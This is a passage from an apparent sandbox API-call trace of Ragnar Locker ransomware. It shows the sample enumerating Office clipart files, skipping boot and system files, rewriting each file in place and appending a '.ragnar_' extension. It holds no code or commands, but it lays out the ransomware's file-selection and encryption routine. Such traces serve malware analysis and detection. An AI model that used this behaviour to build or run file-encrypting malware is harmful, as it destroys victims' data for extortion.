dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.650] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x804, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.650] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x804, lpOverlapped=0x0) returned 1 [0080.650] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x804, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.650] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.651] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.651] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.651] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.651] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.651] GetProcessHeap () returned 0x580000 [0080.651] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.651] CloseHandle (hObject=0xf4) returned 1 [0080.651] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" [0080.651] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ragnar_FD7BD9FC" [0080.651] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0080.652] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.652] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00440_.WMF" | out: lpString1="BS00440_.WMF") returned="BS00440_.WMF" [0080.652] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned=".WMF" [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="autorun.inf") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="boot.ini") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="bootfont.bin") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="bootsect.bak") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="bootmgr") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="bootmgr.efi") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="desktop.ini") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="iconcache.db") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="ntldr") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="ntuser.dat") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="ntuser.ini") returned -1 [0080.652] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="thumbs.db") returned -1 [0080.652] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.652] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.652] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.652] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.652] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.653] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.653] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0080.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.653] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5580) returned 1 [0080.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.653] GetProcessHeap () returned 0x580000 [0080.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.653] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.656] VirtualAlloc (lpAddress=0x0, dwSize=0x15cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.656] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15cc, lpOverlapped=0x0) returned 1 [0080.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.657] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15cc, lpOverlapped=0x0) returned 1 [0080.657] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.657] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.658] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.658] GetProcessHeap () returned 0x580000 [0080.658] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.658] CloseHandle (hObject=0xf4) returned 1 [0080.658] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" [0080.658] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ragnar_FD7BD9FC" [0080.658] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.659] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0080.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.659] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00441_.WMF" | out: lpString1="BS00441_.WMF") returned="BS00441_.WMF" [0080.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned=".WMF" [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="autorun.inf") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="boot.ini") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="bootfont.bin") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="bootsect.bak") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="bootmgr") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="bootmgr.efi") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="desktop.ini") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="iconcache.db") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="ntldr") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="ntuser.dat") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="ntuser.ini") returned -1 [0080.659] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="thumbs.db") returned -1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.659] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0080.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.660] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3524) returned 1 [0080.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.660] GetProcessHeap () returned 0x580000 [0080.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.660] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.661] VirtualAlloc (lpAddress=0x0, dwSize=0xdc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.662] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdc4, lpOverlapped=0x0) returned 1 [0080.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.662] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdc4, lpOverlapped=0x0) returned 1 [0080.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.662] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.663] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.663] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.663] GetProcessHeap () returned 0x580000 [0080.663] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.663] CloseHandle (hObject=0xf4) returned 1 [0080.663] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" [0080.663] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ragnar_FD7BD9FC" [0080.663] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.663] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0080.663] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.664] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00442_.WMF" | out: lpString1="BS00442_.WMF") returned="BS00442_.WMF" [0080.664] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned=".WMF" [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="autorun.inf") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="boot.ini") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="bootfont.bin") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="bootsect.bak") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="bootmgr") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="bootmgr.efi") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="desktop.ini") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="iconcache.db") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="ntldr") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="ntuser.dat") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="ntuser.ini") returned -1 [0080.664] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="thumbs.db") returned -1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.664] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0080.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.665] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2488) returned 1 [0080.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.665] GetProcessHeap () returned 0x580000 [0080.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.665] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.666] VirtualAlloc (lpAddress=0x0, dwSize=0x9b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.667] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9b8, lpOverlapped=0x0) returned 1 [0080.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.667] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.667] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9b8, lpOverlapped=0x0) returned 1 [0080.667] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.667] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.667] SetFilePointerEx (in: hFile=0xf4, 